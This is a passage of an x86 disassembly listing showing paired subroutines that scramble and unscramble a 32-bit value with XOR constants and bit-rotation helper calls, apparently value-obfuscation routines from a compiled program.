		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_49255B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4926F9	proc near		; CODE XREF: sub_496126+9Bp
					; sub_499ED8+ECp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 0A5E71B39h
		mov	[ebp+arg_0], eax
		push	0Ch
		push	11h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 5D82E21Eh
		mov	[ebp+arg_0], edx
		push	1Bh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Ch
		push	4
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	3
		push	13h
		push	4
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	9
		push	13h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	9
		push	5
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0E6A48E86h
		mov	[ebp+arg_0], edx
		push	10h
		push	3
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	12h
		push	0Ch
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	1
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	2
		push	1Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	2
		push	0Bh
		push	12h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	1Dh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 2A45868Bh
		mov	[ebp+arg_0], eax
		push	0Ah
		push	4
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Ah
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	14h
		push	6
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	1Ah
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 2BF12DD0h
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_4926F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_492865	proc near		; CODE XREF: sub_496126+Dp
					; sub_499ED8+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 2BF12DD0h
		mov	[ebp+arg_0], eax
		push	0FFFFFFE6h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	14h
		push	6
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF6h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Ah
		push	4
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 2A45868Bh
		mov	[ebp+arg_0], edx
		push	0FFFFFFE3h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0FFFFFFFEh
		push	0Bh
		push	12h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	2
		push	1Ch
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFFFh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	12h
		push	0Ch
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	10h
		push	3
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0E6A48E86h
		mov	[ebp+arg_0], eax
		push	9
		push	5
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	9
		push	13h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFFDh
		push	13h
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0Ch
		push	4
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFE5h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 5D82E21Eh
		mov	[ebp+arg_0], eax
		push	0Ch
		push	11h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0A5E71B39h
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_492865	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4929D0	proc near		; CODE XREF: sub_49591C+9Cp
					; sub_495DD2+172p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 1C647266h
		mov	[ebp+arg_0], eax
		push	1Ch
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 8C4BE5FAh
		mov	[ebp+arg_0], edx
		push	1Eh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Bh
		push	4
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	2
		push	16h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	3
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	3
		push	0Dh
		push	9
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0ECA9E3B5h
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_4929D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_492A69	proc near		; CODE XREF: sub_49591C+Dp
					; sub_495DD2+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 0ECA9E3B5h
		mov	[ebp+arg_0], eax
		push	0FFFFFFFDh
		push	0Dh
		push	9
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFFDh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	2
		push	16h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Bh
		push	4
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFE2h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 8C4BE5FAh
		mov	[ebp+arg_0], eax
		push	0FFFFFFE4h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 1C647266h
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_492A69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_492B01	proc near		; CODE XREF: sub_497C2D+8Fp
					; sub_4991C7+AFp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 0C4E8019Fh
		mov	[ebp+arg_0], eax
		push	0Dh
		push	12h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	10h
		push	6
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Dh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0E0B09847h
		mov	[ebp+arg_0], ecx
		push	12h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Bh
		push	11h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	15h
		push	9
		push	16h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	5
		push	18h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 1317EC6Fh
		mov	[ebp+arg_0], edx
		push	0Ah
		push	3
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	4
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	13h
		push	6
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0
		push	1Bh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 7DF19611h
		mov	[ebp+arg_0], ecx
		push	12h
		push	7
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	3
		push	1Ah
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 94093F8Bh
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_492B01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_492C5B	proc near		; CODE XREF: sub_497C2D+Dp
					; sub_4991C7+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 94093F8Bh
		mov	[ebp+arg_0], eax
		push	3
		push	1Ah
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	12h
		push	7
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 7DF19611h
		mov	[ebp+arg_0], eax
		push	0
		push	1Bh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	13h
		push	6
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFFCh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Ah
		push	3
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 1317EC6Fh
		mov	[ebp+arg_0], edx
		push	0
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFFCh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	5
		push	18h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFEBh
		push	9
		push	16h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0Bh
		push	11h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFEEh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0E0B09847h
		mov	[ebp+arg_0], eax
		push	0FFFFFFF3h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	10h
		push	6
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Dh
		push	12h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0C4E8019Fh
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_492C5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_492DB3	proc near		; CODE XREF: sub_4959C8+9Bp
					; sub_499942+93p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 0ED91C2E4h
		mov	[ebp+arg_0], eax
		push	0Dh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	10h
		push	3
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Fh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	10h
		push	6
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	12h
		push	2
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Ah
		push	2
		push	0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	13h
		push	6
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	2
		push	17h
		push	3
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_492DB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_492E5E	proc near		; CODE XREF: sub_4959C8+Dp
					; sub_499942+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFEh
		push	17h
		push	3
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	13h
		push	6
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF6h
		push	2
		push	0Ch
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	12h
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	10h
		push	6
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF1h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	10h
		push	3
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF3h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0ED91C2E4h
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_492E5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_492F0A	proc near		; CODE XREF: sub_495547+76p
					; sub_499E2C+9Cp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 0E23BCB7Bh
		mov	[ebp+arg_0], eax
		push	13h
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0C2E0485Ch
		mov	[ebp+arg_0], edx
		push	1
		push	17h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	1Dh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	4
		push	0
		push	6
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0D53938BEh
		mov	[ebp+arg_0], eax
		push	2
		push	12h
		push	9
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	14h
		push	8
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_492F0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_492FA8	proc near		; CODE XREF: sub_495547+Dp
					; sub_499E2C+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	14h
		push	8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFFEh
		push	12h
		push	9
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0D53938BEh
		mov	[ebp+arg_0], edx
		push	0FFFFFFFCh
		push	0
		push	6
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFE3h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	1
		push	17h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0C2E0485Ch
		mov	[ebp+arg_0], eax
		push	13h
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0E23BCB7Bh
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_492FA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_493047	proc near		; CODE XREF: sub_499022+DDp
					; sub_49AC45+9Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 52E5DC04h
		mov	[ebp+arg_0], eax
		push	0Fh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	5
		push	2
		push	9
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0Bh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	15h
		push	6
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	6
		push	17h
		push	8
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 7F8AC670h
		mov	[ebp+arg_0], eax
		push	0Ch
		push	1
		push	1Eh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 8E1DADF8h
		mov	[ebp+arg_0], edx
		push	18h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0BF96859Fh
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_493047	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_493102	proc near		; CODE XREF: sub_499022+Dp
					; sub_49AC45+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 0BF96859Fh
		mov	[ebp+arg_0], eax
		push	0FFFFFFE8h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 8E1DADF8h
		mov	[ebp+arg_0], edx
		push	0FFFFFFF4h
		push	1
		push	1Eh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 7F8AC670h
		mov	[ebp+arg_0], ecx
		push	0FFFFFFFAh
		push	17h
		push	8
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	15h
		push	6
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF5h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0FFFFFFFBh
		push	2
		push	9
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFF1h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 52E5DC04h
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_493102	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4931BE	proc near		; CODE XREF: sub_495F54+C9p
					; sub_49805F+71p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 109A5038h
		mov	[ebp+arg_0], eax
		push	14h
		push	6
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	5
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0E0C7E95Bh
		mov	[ebp+arg_0], eax
		push	0Fh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 93D5877Eh
		mov	[ebp+arg_0], edx
		push	17h
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	11h
		push	1
		push	1Dh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 9344CFF2h
		mov	[ebp+arg_0], edx
		push	0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	15h
		push	9
		push	16h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0B3FB847Ch
		mov	[ebp+arg_0], edx
		push	5
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 1C93A3DDh
		mov	[ebp+arg_0], ecx
		push	4
		push	18h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	17h
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 64DEF633h
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_4931BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4932D2	proc near		; CODE XREF: sub_495F54+Dp
					; sub_49BB7F+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 64DEF633h
		mov	[ebp+arg_0], eax
		push	17h
		push	4
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	4
		push	18h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 1C93A3DDh
		mov	[ebp+arg_0], eax
		push	0FFFFFFFBh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0B3FB847Ch
		mov	[ebp+arg_0], edx
		push	0FFFFFFEBh
		push	9
		push	16h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFF4h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 9344CFF2h
		mov	[ebp+arg_0], edx
		push	0FFFFFFEFh
		push	1
		push	1Dh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
